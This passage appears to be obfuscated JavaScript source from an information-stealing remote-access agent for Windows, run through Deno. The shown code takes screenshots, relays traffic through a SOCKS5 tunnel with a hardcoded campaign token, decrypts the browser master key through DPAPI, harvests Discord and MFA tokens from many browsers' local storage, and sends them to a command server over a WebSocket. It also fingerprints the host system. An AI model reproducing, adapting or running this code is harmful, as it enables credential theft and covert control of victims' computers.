| _0x566cb4.setUint32(0x20, 0x0, true); | |
| _0x566cb4.setUint32(0x24, 0x0, true); | |
| return new Uint8Array(_0x3df70c); | |
| } | |
| try { | |
| shcore.symbols["SetProcessDpiAwareness"](PROCESS_PER_MONITOR_DPI_AWARE); | |
| } catch (_0x39c5b4) { | |
| console.warn("Failed to set DPI awareness:", _0x39c5b4); | |
| } | |
| function getScreenshot() { | |
| try { | |
| console.log("Taking screenshot..."); | |
| const _0x475c30 = user322.symbols.GetSystemMetrics(SM_XVIRTUALSCREEN), | |
| _0x1b0ee0 = user322.symbols.GetSystemMetrics(SM_YVIRTUALSCREEN), | |
| _0x122cde = user322.symbols.GetSystemMetrics(SM_CXVIRTUALSCREEN), | |
| _0x193268 = user322.symbols.GetSystemMetrics(SM_CYVIRTUALSCREEN); | |
| console.log("Virtual screen: " + _0x122cde + 'x' + _0x193268 + " at (" + _0x475c30 + ',\x20' + _0x1b0ee0 + ')'); | |
| const _0x2e5ff5 = user322.symbols.GetDesktopWindow(), | |
| _0x1279e1 = user322.symbols.GetDC(_0x2e5ff5), | |
| _0x4a065e = gdi32.symbols.CreateCompatibleDC(_0x1279e1), | |
| _0x450b74 = gdi32.symbols["CreateCompatibleBitmap"](_0x1279e1, _0x122cde, _0x193268); | |
| gdi32.symbols.SelectObject(_0x4a065e, _0x450b74); | |
| gdi32.symbols.StretchBlt(_0x4a065e, 0x0, 0x0, _0x122cde, _0x193268, _0x1279e1, _0x475c30, _0x1b0ee0, _0x122cde, _0x193268, SRCCOPY); | |
| const _0x404cd1 = createBitmapInfoHeader(_0x122cde, _0x193268), | |
| _0x3b4d02 = _0x122cde * _0x193268 * 0x4, | |
| _0x463b7d = new Uint8Array(_0x3b4d02); | |
| gdi32.symbols.GetDIBits(_0x4a065e, _0x450b74, 0x0, _0x193268, Deno.UnsafePointer.of(new Uint8Array(_0x463b7d.buffer)), Deno.UnsafePointer.of(new Uint8Array(_0x404cd1.buffer)), DIB_RGB_COLORS); | |
| gdi32.symbols.DeleteObject(_0x450b74); | |
| gdi32.symbols.DeleteDC(_0x4a065e); | |
| user322.symbols.ReleaseDC(_0x2e5ff5, _0x1279e1); | |
| const _0x2c9caa = new Uint8Array(_0x3b4d02); | |
| for (let _0xafd02e = 0x0; _0xafd02e < _0x3b4d02; _0xafd02e += 0x4) { | |
| _0x2c9caa[_0xafd02e] = _0x463b7d[_0xafd02e + 0x2]; | |
| _0x2c9caa[_0xafd02e + 0x1] = _0x463b7d[_0xafd02e + 0x1]; | |
| _0x2c9caa[_0xafd02e + 0x2] = _0x463b7d[_0xafd02e]; | |
| _0x2c9caa[_0xafd02e + 0x3] = _0x463b7d[_0xafd02e + 0x3]; | |
| } | |
| const _0x5a23c4 = (0x0, import_jpeg_js.encode)({ | |
| data: _0x2c9caa, | |
| width: _0x122cde, | |
| height: _0x193268 | |
| }, 0x55); | |
| console.log("Screenshot captured! JPEG size: " + _0x5a23c4.data.length + " bytes"); | |
| return _0x5a23c4.data; | |
| } catch (_0x162f07) { | |
| console.error("Error taking screenshot:", _0x162f07); | |
| throw _0x162f07; | |
| } | |
| } | |
| var import_node_buffer2 = require('node:buffer'), | |
| import_node_crypto2 = require('node:crypto'), | |
| import_node_net2 = require('node:net'), | |
| connections = new Map(); | |
| async function sendCommand(_0x543dcc, _0x40ed85) { | |
| const _0x37ed99 = await serizalizeCommandFromAgent(_0x40ed85); | |
| _0x543dcc.send(_0x37ed99); | |
| } | |
| function handleSocks5Connect(_0x27fc6a, _0x48703b, _0x32476e, _0x1a4f04, _0xa140d6) { | |
| console.log("Connecting to " + _0x48703b + ':' + _0x32476e + " for connection " + _0x27fc6a); | |
| const _0x4761cb = (0x0, import_node_net2.connect)(_0x32476e, _0x48703b); | |
| _0x4761cb.on("connect", () => { | |
| console.log("Connected to " + _0x48703b + ':' + _0x32476e); | |
| connections.set(_0x27fc6a, { | |
| connectionId: _0x27fc6a, | |
| socket: _0x4761cb | |
| }); | |
| sendCommand(_0x1a4f04, { | |
| huidMd5: _0xa140d6, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: (0x0, import_node_crypto2.randomUUID)(), | |
| type: "socks5-connect-result", | |
| status: "completed", | |
| connectionId: _0x27fc6a, | |
| success: true | |
| }] | |
| }); | |
| _0x4761cb.on("data", _0x104c50 => { | |
| console.log("Received data from " + _0x48703b + ':' + _0x32476e + '\x20(' + _0x104c50.length + " bytes)"); | |
| sendCommand(_0x1a4f04, { | |
| huidMd5: _0xa140d6, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: (0x0, import_node_crypto2.randomUUID)(), | |
| type: "socks5-data", | |
| status: "completed", | |
| connectionId: _0x27fc6a, | |
| data: _0x104c50 | |
| }] | |
| }); | |
| }); | |
| _0x4761cb.on("close", () => { | |
| console.log("Connection " + _0x27fc6a + " to " + _0x48703b + ':' + _0x32476e + " closed"); | |
| connections["delete"](_0x27fc6a); | |
| sendCommand(_0x1a4f04, { | |
| huidMd5: _0xa140d6, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: (0x0, import_node_crypto2.randomUUID)(), | |
| type: "socks5-close", | |
| status: "completed", | |
| connectionId: _0x27fc6a | |
| }] | |
| }); | |
| }); | |
| }); | |
| _0x4761cb.on("error", _0xa63a02 => { | |
| console.error("Connection " + _0x27fc6a + " error:", _0xa63a02.message); | |
| sendCommand(_0x1a4f04, { | |
| huidMd5: _0xa140d6, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: (0x0, import_node_crypto2.randomUUID)(), | |
| type: "socks5-connect-result", | |
| status: "failed", | |
| connectionId: _0x27fc6a, | |
| success: false, | |
| error: _0xa63a02.message | |
| }] | |
| }); | |
| }); | |
| } | |
| function handleSocks5Data(_0x366290, _0x3c7d17) { | |
| const _0x1cd87a = import_node_buffer2.Buffer.isBuffer(_0x3c7d17) ? _0x3c7d17 : import_node_buffer2.Buffer.from(_0x3c7d17.data); | |
| console.log("Forwarding data to connection " + _0x366290 + '\x20(' + _0x1cd87a.length + " bytes)"); | |
| const _0x2f6bca = connections.get(_0x366290); | |
| if (_0x2f6bca && !_0x2f6bca.socket.destroyed) { | |
| _0x2f6bca.socket.write(_0x1cd87a); | |
| } else { | |
| console.warn("Connection " + _0x366290 + " not found or destroyed"); | |
| } | |
| } | |
| function handleSocks5Close(_0xa1e3cc) { | |
| console.log("Closing connection " + _0xa1e3cc); | |
| const _0x2c9761 = connections.get(_0xa1e3cc); | |
| if (_0x2c9761 && !_0x2c9761.socket.destroyed) { | |
| _0x2c9761.socket.end(); | |
| console.log("Connection " + _0xa1e3cc + " closed"); | |
| } else { | |
| console.warn("Connection " + _0xa1e3cc + " not found or already closed"); | |
| } | |
| connections["delete"](_0xa1e3cc); | |
| } | |
| var import_node_buffer4 = require('node:buffer'), | |
| import_node_fs2 = require('node:fs'), | |
| import_node_path2 = __toESM(require('node:path')), | |
| import_node_process2 = __toESM(require('node:process')), | |
| import_node_buffer3 = require('node:buffer'), | |
| crypt32 = null, | |
| kernel323 = null; | |
| function initFFI() { | |
| if (crypt32 && kernel323) { | |
| return; | |
| } | |
| try { | |
| crypt32 = Deno.dlopen("crypt32.dll", { | |
| CryptUnprotectData: { | |
| parameters: ["pointer", "pointer", "pointer", "pointer", "pointer", 'u32', "pointer"], | |
| result: "i32" | |
| } | |
| }); | |
| kernel323 = Deno.dlopen("kernel32.dll", { | |
| LocalFree: { | |
| parameters: ["pointer"], | |
| result: "pointer" | |
| } | |
| }); | |
| } catch (_0xfe99e5) { | |
| console.error("[DPAPI] Failed to initialize FFI:", _0xfe99e5); | |
| } | |
| } | |
| function dpapiDecrypt(_0x3f26ce) { | |
| if (!crypt32 || !kernel323) { | |
| initFFI(); | |
| } | |
| if (!crypt32 || !kernel323) { | |
| return null; | |
| } | |
| try { | |
| const _0x334c1d = new ArrayBuffer(_0x3f26ce.length), | |
| _0x5c54e9 = new Uint8Array(_0x334c1d); | |
| _0x5c54e9.set(_0x3f26ce); | |
| const _0x10d35c = new ArrayBuffer(0x10), | |
| _0x4c2e18 = new DataView(_0x10d35c); | |
| _0x4c2e18.setUint32(0x0, _0x3f26ce.length, true); | |
| const _0x363cc4 = Deno.UnsafePointer.of(_0x334c1d), | |
| _0x3927b8 = BigInt(Deno.UnsafePointer.value(_0x363cc4)); | |
| _0x4c2e18.setBigUint64(0x8, _0x3927b8, true); | |
| const _0x5999f1 = new ArrayBuffer(0x10), | |
| _0x1df04a = new DataView(_0x5999f1); | |
| _0x1df04a.setUint32(0x0, 0x0, true); | |
| _0x1df04a.setBigUint64(0x8, 0x0n, true); | |
| const _0x548e98 = crypt32.symbols.CryptUnprotectData(Deno.UnsafePointer.of(_0x10d35c), null, null, null, null, 0x0, Deno.UnsafePointer.of(_0x5999f1)); | |
| if (_0x548e98 === 0x0) { | |
| return null; | |
| } | |
| const _0x565f23 = _0x1df04a.getUint32(0x0, true), | |
| _0x4677a3 = _0x1df04a.getBigUint64(0x8, true); | |
| if (_0x4677a3 === 0x0n || _0x565f23 === 0x0) { | |
| return null; | |
| } | |
| const _0x12714e = Deno.UnsafePointer.create(_0x4677a3); | |
| if (!_0x12714e) { | |
| return null; | |
| } | |
| const _0x20f0f6 = new Uint8Array(_0x565f23), | |
| _0xe5561f = new Deno.UnsafePointerView(_0x12714e); | |
| for (let _0x7cea5d = 0x0; _0x7cea5d < _0x565f23; _0x7cea5d++) { | |
| _0x20f0f6[_0x7cea5d] = _0xe5561f.getUint8(_0x7cea5d); | |
| } | |
| kernel323.symbols.LocalFree(_0x12714e); | |
| return _0x20f0f6; | |
| } catch (_0x4de007) { | |
| console.error("[DPAPI] Decryption error:", _0x4de007); | |
| return null; | |
| } | |
| } | |
| async function parseMasterKey(_0x5f4e18) { | |
| try { | |
| console.log("[DPAPI] Reading Local State from: " + _0x5f4e18); | |
| const _0x4cc005 = await Deno.readTextFile(_0x5f4e18), | |
| _0x40220f = JSON.parse(_0x4cc005), | |
| _0x254432 = _0x40220f?.["os_crypt"]?.["encrypted_key"]; | |
| if (!_0x254432) { | |
| console.log("[DPAPI] No encrypted_key found in Local State"); | |
| return null; | |
| } | |
| console.log("[DPAPI] Found encrypted key (base64 length: " + _0x254432.length + ')'); | |
| const _0x258ec1 = import_node_buffer3.Buffer.from(_0x254432, "base64"); | |
| console.log("[DPAPI] Decoded encrypted key length: " + _0x258ec1.length + " bytes"); | |
| const _0x26d363 = _0x258ec1.subarray(0x0, 0x5).toString(); | |
| if (_0x258ec1.length < 0x5 || _0x26d363 !== "DPAPI") { | |
| console.log("[DPAPI] Invalid prefix: \"" + _0x26d363 + "\", expected \"DPAPI\""); | |
| return null; | |
| } | |
| console.log("[DPAPI] Valid DPAPI prefix found, attempting decryption..."); | |
| const _0x121601 = dpapiDecrypt(_0x258ec1.subarray(0x5)); | |
| if (_0x121601) { | |
| console.log("[DPAPI] Master key decrypted successfully: " + _0x121601.length + " bytes"); | |
| } else { | |
| console.log("[DPAPI] Master key decryption failed"); | |
| } | |
| return _0x121601; | |
| } catch (_0x51e6a5) { | |
| console.error("[DPAPI] Failed to parse master key:", _0x51e6a5); | |
| return null; | |
| } | |
| } | |
| var DISCORD_PATHS = ["%APPDATA%\\discord", "%APPDATA%\\discordcanary", "%APPDATA%\\discordptb", "%APPDATA%\\Lightcord"], | |
| BROWSER_PATHS = ["%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 1", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 2", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 3", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 4", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 5", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 6", "%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\Default", "%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default", "%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default", "%APPDATA%\\Google\\Chrome SxS\\User Data", "%APPDATA%\\Opera Software\\Opera Stable", "%APPDATA%\\Opera Software\\Opera GX Stable", "%APPDATA%\\Amigo\\User Data", "%APPDATA%\\Torch\\User Data", "%APPDATA%\\Kometa\\User Data", "%APPDATA%\\Orbitum\\User Data", "%APPDATA%\\CentBrowser\\User Data", "%APPDATA%\\7Star\\7Star\\User Data", "%APPDATA%\\Sputnik\\Sputnik\\User Data", "%LOCALAPPDATA%\\Vivaldi\\User Data\\Default", "%APPDATA%\\Epic Privacy Browser\\User Data", "%APPDATA%\\uCozMedia\\Uran\\User Data\\Default", "%LOCALAPPDATA%\\Iridium\\User Data\\Default"], | |
| TOKEN_REGEX = /[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g, | |
| MFA_TOKEN_REGEX = /mfa\.[\w-]{84}/g, | |
| ENCRYPTED_TOKEN_REGEX = /dQw4w9WgXcQ:([^"]+)/g; | |
| function expandPath(_0x2098ee) { | |
| const _0x23f349 = import_node_process2["default"].env.LOCALAPPDATA || '', | |
| _0x1b7d3a = import_node_process2["default"].env.APPDATA || ''; | |
| return _0x2098ee.replace(/%LOCALAPPDATA%/g, _0x23f349).replace(/%APPDATA%/g, _0x1b7d3a); | |
| } | |
| async function decryptToken(_0x345186, _0x15e423) { | |
| if (_0x345186.length < 0x3) { | |
| return null; | |
| } | |
| const _0x41a79f = import_node_buffer4.Buffer.from(_0x345186.subarray(0x0, 0x3)).toString(); | |
| if (_0x41a79f !== "v10" && _0x41a79f !== "v11") { | |
| return null; | |
| } | |
| if (_0x345186.length < 31) { | |
| return null; | |
| } | |
| try { | |
| const _0x5f151f = _0x345186.subarray(0x3, 0xf), | |
| _0x4c5da4 = _0x345186.subarray(0xf), | |
| _0xf60609 = new ArrayBuffer(_0x15e423.length); | |
| new Uint8Array(_0xf60609).set(_0x15e423); | |
| const _0x406e6d = new ArrayBuffer(_0x5f151f.length); | |
| new Uint8Array(_0x406e6d).set(_0x5f151f); | |
| const _0xe371d7 = new ArrayBuffer(_0x4c5da4.length); | |
| new Uint8Array(_0xe371d7).set(_0x4c5da4); | |
| const _0x36c3d8 = await crypto.subtle.importKey("raw", _0xf60609, { | |
| name: "AES-GCM" | |
| }, false, ["decrypt"]), | |
| _0x25ded3 = await crypto.subtle.decrypt({ | |
| name: "AES-GCM", | |
| iv: _0x406e6d | |
| }, _0x36c3d8, _0xe371d7), | |
| _0x4763ff = new TextDecoder("utf-8").decode(_0x25ded3); | |
| return _0x4763ff; | |
| } catch { | |
| return null; | |
| } | |
| } | |
| async function scanLevelDb(_0x2e58a7, _0x436e0d) { | |
| const _0x38eac6 = []; | |
| try { | |
| const _0xbf1795 = await import_node_fs2.promises.readdir(_0x2e58a7); | |
| for (const _0xc12d57 of _0xbf1795) { | |
| if (!_0xc12d57.endsWith(".log") && !_0xc12d57.endsWith(".ldb")) { | |
| continue; | |
| } | |
| const _0x143c4e = import_node_path2["default"].join(_0x2e58a7, _0xc12d57); | |
| try { | |
| const _0x3467b2 = await import_node_fs2.promises.readFile(_0x143c4e), | |
| _0x382916 = import_node_buffer4.Buffer.from(_0x3467b2).toString("utf-8"), | |
| _0x435e8e = _0x382916.matchAll(ENCRYPTED_TOKEN_REGEX); | |
| for (const _0x1e8af3 of _0x435e8e) { | |
| if (_0x1e8af3[0x1] && _0x436e0d) { | |
| try { | |
| const _0x4ed10e = import_node_buffer4.Buffer.from(_0x1e8af3[0x1], "base64"), | |
| _0xe68065 = await decryptToken(new Uint8Array(_0x4ed10e), _0x436e0d); | |
| if (_0xe68065 && _0xe68065.length > 0x0 && !_0x38eac6.includes(_0xe68065)) { | |
| _0x38eac6.push(_0xe68065); | |
| console.log("[Discord] Found encrypted token (decrypted)"); | |
| } | |
| } catch {} | |
| } | |
| } | |
| const _0x4b8b1a = _0x382916.matchAll(TOKEN_REGEX); | |
| for (const _0x554baa of _0x4b8b1a) { | |
| const _0x305c62 = _0x554baa[0x0]; | |
| if (!_0x38eac6.includes(_0x305c62)) { | |
| _0x38eac6.push(_0x305c62); | |
| console.log("[Discord] Found token (standard)"); | |
| } | |
| } | |
| const _0x1e645d = _0x382916.matchAll(MFA_TOKEN_REGEX); | |
| for (const _0x32401d of _0x1e645d) { | |
| const _0x320b48 = _0x32401d[0x0]; | |
| if (!_0x38eac6.includes(_0x320b48)) { | |
| _0x38eac6.push(_0x320b48); | |
| console.log("[Discord] Found token (MFA)"); | |
| } | |
| } | |
| } catch {} | |
| } | |
| } catch {} | |
| return _0x38eac6; | |
| } | |
| async function sendDiscordTokens(_0x334d91, _0x2ebdaf) { | |
| if (_0x2ebdaf.length === 0x0) { | |
| return; | |
| } | |
| const _0x4d4a9e = { | |
| huidMd5: _0x334d91.huidMd5, | |
| token: _0x334d91.token, | |
| taskOutputs: [{ | |
| id: _0x334d91.taskId, | |
| type: "stealer-discord", | |
| status: "completed", | |
| tokens: _0x2ebdaf | |
| }] | |
| }, | |
| _0x1247a1 = await serizalizeCommandFromAgent(_0x4d4a9e); | |
| try { | |
| _0x334d91.ws.send(_0x1247a1); | |
| console.log("[Discord] Sent " + _0x2ebdaf.length + " token(s) to server"); | |
| } catch (_0x4003a1) { | |
| console.error("[Discord] Failed to send data: WebSocket error", _0x4003a1); | |
| } | |
| } | |
| async function grabDiscord(_0xb9d317) { | |
| console.log("[Discord] Starting Discord token collection..."); | |
| const _0x3e003a = [], | |
| _0x5616a3 = [...DISCORD_PATHS, ...BROWSER_PATHS].map(expandPath); | |
| for (const _0x30173e of _0x5616a3) { | |
| try { | |
| await import_node_fs2.promises.access(_0x30173e); | |
| } catch { | |
| continue; | |
| } | |
| console.log("[Discord] Checking " + _0x30173e); | |
| const _0x598238 = import_node_path2["default"].join(_0x30173e, "Local State"); | |
| let _0x3fb68f = null; | |
| try { | |
| await import_node_fs2.promises.access(_0x598238); | |
| _0x3fb68f = await parseMasterKey(_0x598238); | |
| if (_0x3fb68f) { | |
| console.log("[Discord] Found master key"); | |
| } | |
| } catch {} | |
| const _0x3915fe = import_node_path2["default"].join(_0x30173e, "Local Storage", "leveldb"); | |
| try { | |
| await import_node_fs2.promises.access(_0x3915fe); | |
| console.log("[Discord] Scanning " + _0x3915fe); | |
| const _0x762c31 = await scanLevelDb(_0x3915fe, _0x3fb68f); | |
| for (const _0x43ee89 of _0x762c31) { | |
| if (!_0x3e003a.includes(_0x43ee89)) { | |
| _0x3e003a.push(_0x43ee89); | |
| } | |
| } | |
| } catch {} | |
| } | |
| console.log("[Discord] Found " + _0x3e003a.length + " unique token(s)"); | |
| if (_0xb9d317 && _0x3e003a.length > 0x0) { | |
| await sendDiscordTokens(_0xb9d317, _0x3e003a); | |
| } | |
| return _0x3e003a; | |
| } | |
| var import_node_child_process2 = require('node:child_process'), | |
| import_node_os2 = __toESM(require('node:os')), | |
| import_node_process3 = __toESM(require('node:process')), | |
| import_node_util = require('node:util'), | |
| execAsync = (0x0, import_node_util.promisify)(import_node_child_process2.exec), | |
| kernel324, | |
| advapi32, | |
| ntdll; | |
| try { | |
| if (Deno?.["dlopen"]) { | |
| kernel324 = Deno.dlopen("kernel32.dll", { | |
| GetComputerNameExW: { | |
| parameters: ["i32", "buffer", "buffer"], | |
| result: 'i32' | |
| }, | |
| GetCurrentProcess: { | |
| parameters: [], | |
| result: "pointer" | |
| }, | |
| CloseHandle: { | |
| parameters: ["pointer"], | |
| result: 'i32' | |
| }, | |
| GetProductInfo: { | |
| parameters: ["u32", 'u32', "u32", "u32", "buffer"], | |
| result: "i32" | |
| } | |
| }); | |
| advapi32 = Deno.dlopen("advapi32.dll", { | |
| OpenProcessToken: { | |
| parameters: ["pointer", "u32", "buffer"], | |
| result: "i32" | |
| }, | |
| GetTokenInformation: { | |
| parameters: ["pointer", "i32", "buffer", 'u32', "buffer"], | |
| result: "i32" | |
| }, | |
| AllocateAndInitializeSid: { | |
| parameters: ["buffer", 'u8', "u32", 'u32', "u32", 'u32', "u32", "u32", 'u32', "u32", "buffer"], | |
| result: "i32" | |
| }, | |
| EqualSid: { | |
| parameters: ["pointer", "pointer"], | |
| result: 'i32' | |
| }, | |
| FreeSid: { | |
| parameters: ["pointer"], | |
| result: "pointer" | |
| } | |
| }); | |
| ntdll = Deno.dlopen("ntdll.dll", { | |
| RtlGetVersion: { | |
| parameters: ["buffer"], | |
| result: 'i32' | |
| } | |
| }); | |
| } | |
| } catch (_0x25b022) { | |
| console.warn("Failed to load Windows DLLs:", _0x25b022); | |
| } | |
| function getUsername() { | |
| try { | |
| if (Deno?.['env']?.['get']("USERNAME") || import_node_process3["default"].env.USERNAME) { | |
| return true; | |
| } | |
| return import_node_os2["default"].userInfo().username; | |
| } catch { | |
| return void 0x0; | |
| } | |
| } | |
| function getHostname() { | |
| try { | |
| if (Deno?.["env"]?.['get']("COMPUTERNAME") || import_node_process3["default"].env.COMPUTERNAME) { | |
| return true; | |
| } | |
| return import_node_os2["default"].hostname(); | |
| } catch { | |
| return void 0x0; | |
| } | |
| } | |
| function getDomain() { | |
| if (!kernel324) { | |
| return void 0x0; | |
| } | |
| try { | |
| const _0x1c2352 = 0x100, | |
| _0x4ffd39 = new Uint16Array(_0x1c2352), | |
| _0x316a05 = new Uint32Array([_0x1c2352]), | |
| _0x1e5187 = kernel324.symbols.GetComputerNameExW(0x2, _0x4ffd39, _0x316a05); | |
| if (_0x1e5187 !== 0x0 && _0x316a05[0x0] > 0x0) { | |
| const _0x3222f3 = new TextDecoder("utf-16le"), | |
| _0x3108b9 = _0x3222f3.decode(new Uint8Array(_0x4ffd39.buffer, 0x0, _0x316a05[0x0] * 0x2)); | |
| if (_0x3108b9) { | |
| return _0x3108b9; | |
| } | |
| return void 0x0; | |
| } | |
| } catch (_0x80f5f8) { | |
| console.warn("Failed to get domain:", _0x80f5f8); | |
| } | |
| return void 0x0; | |
| } | |
| function isServerEdition(_0x420a63) { | |
| const _0x4c3154 = [0x7, 0x8, 0xc, 0x13, 0x25, 0x29, 0x3d, 0x3e, 0x12, 0x24, 0x28, 0x3c]; | |
| return _0x4c3154.includes(_0x420a63); | |
| } | |
| function getProductName(_0x21b85a) { | |
| const _0x544f0d = { | |
| 0x30: "Professional", | |
| 0x31: "Professional N", | |
| 0x67: "Professional with Media Center", | |
| 0x65: "Home", | |
| 0x63: "Home Premium", | |
| 0x62: "Home Premium N", | |
| 0x64: "Home Basic", | |
| 0x5: "Home Basic N", | |
| 0x4: "Enterprise", | |
| 0x46: "Enterprise N", | |
| 0x27: "Enterprise E", | |
| 0x1b: "Ultimate", | |
| 0x1c: "Ultimate N", | |
| 0x79: "Education", | |
| 0x7a: "Education N", | |
| 0x6: "Business", | |
| 0x10: "Business N", | |
| 0x101: "Home Single Language", | |
| 0x98: "Home China", | |
| 0x7: "Standard", | |
| 0x8: "Datacenter", | |
| 0xc: "Enterprise", | |
| 0x13: "Web", | |
| 0x25: "Standard (Core)", | |
| 0x29: "Web (Core)", | |
| 0x3d: "Standard (Nano)", | |
| 0x3e: "Datacenter (Nano)", | |
| 0x12: "Storage", | |
| 0x24: "Datacenter (Core)", | |
| 0x28: "Enterprise (Core)", | |
| 0x3c: "Essentials" | |
| }; | |
| return _0x544f0d[_0x21b85a]; | |
| } | |
| function getOsName() { | |
| if (!ntdll || !kernel324) { | |
| return void 0x0; | |
| } | |
| try { | |
| const _0x1a56e3 = new Uint8Array(0x11c), | |
| _0x149dba = new DataView(_0x1a56e3.buffer); | |
| _0x149dba.setUint32(0x0, 0x11c, true); | |
| const _0x56671d = ntdll.symbols.RtlGetVersion(_0x1a56e3); | |
| if (_0x56671d === 0x0) { | |
| const _0x17980e = _0x149dba.getUint32(0x4, true), | |
| _0xb62c47 = _0x149dba.getUint32(0x8, true), | |
| _0x38b88f = _0x149dba.getUint32(0xc, true), | |
| _0x5e5da8 = new Uint32Array(0x1); | |
| kernel324.symbols.GetProductInfo(_0x17980e, _0xb62c47, 0x0, 0x0, _0x5e5da8); | |
| const _0x5e145f = _0x5e5da8[0x0], | |
| _0x32e991 = isServerEdition(_0x5e145f); | |
| let _0x2b70e5; | |
| if (_0x17980e === 0xa) { | |
| if (_0x32e991) { | |
| if (_0x38b88f >= 0x4f7c) { | |
| _0x2b70e5 = "Windows Server 2022"; | |
| } else if (_0x38b88f >= 0x4563) { | |
| _0x2b70e5 = "Windows Server 2019"; | |
| } else { | |
| _0x2b70e5 = "Windows Server 2016"; | |
| } | |
| } else if (_0x38b88f >= 0x55f0) { | |
| _0x2b70e5 = "Windows 11"; | |
| } else { | |
| _0x2b70e5 = "Windows 10"; | |
| } | |
| } else if (_0x17980e === 0x6) { | |
| if (_0x32e991) { | |
| const _0x225177 = { | |
| 0x3: "Windows Server 2012 R2", | |
| 0x2: "Windows Server 2012", | |
| 0x1: "Windows Server 2008 R2", | |
| 0x0: "Windows Server 2008" | |
| }; | |
| _0x2b70e5 = _0x225177[_0xb62c47] || "Windows Server"; | |
| } else { | |
| const _0x3f9fa4 = { | |
| 0x3: "Windows 8.1", | |
| 0x2: "Windows 8", | |
| 0x1: "Windows 7", | |
| 0x0: "Windows Vista" | |
| }; | |
| _0x2b70e5 = _0x3f9fa4[_0xb62c47] || "Windows"; | |
| } | |
| } else { | |
| _0x2b70e5 = _0x32e991 ? "Windows Server" : "Windows"; | |
| } | |
| const _0x1f6da7 = getProductName(_0x5e145f); | |
| if (_0x1f6da7) { | |
| return _0x2b70e5 + '\x20' + _0x1f6da7; | |
| } | |
| return _0x2b70e5; | |
| } | |
| } catch (_0x2a20ca) { | |
| console.warn("Failed to get OS name:", _0x2a20ca); | |
| } | |
| return void 0x0; | |
| } | |
| function getOsVersion() { | |
| if (!ntdll) { | |
| return void 0x0; | |
| } | |
| try { | |
| const _0x4d90d5 = new Uint8Array(0x11c), | |
| _0x548b61 = new DataView(_0x4d90d5.buffer); | |
| _0x548b61.setUint32(0x0, 0x11c, true); | |
| const _0x34838a = ntdll.symbols.RtlGetVersion(_0x4d90d5); | |
| if (_0x34838a === 0x0) { | |
| const _0x3f9e52 = _0x548b61.getUint32(0x4, true), | |
| _0x8ffc9c = _0x548b61.getUint32(0x8, true), | |
| _0x4a7588 = _0x548b61.getUint32(0xc, true); | |
| return _0x3f9e52 + '.' + _0x8ffc9c + '.' + _0x4a7588; | |
| } | |
| } catch (_0x5270de) { | |
| console.warn("Failed to get OS version:", _0x5270de); | |
| } | |
| return void 0x0; | |
| } | |
| function getOsBuild() { | |
| try { | |
| return import_node_os2["default"].release(); | |
| } catch { | |
| return void 0x0; | |
| } | |
| } | |
| function getCpus() { | |
| try { | |
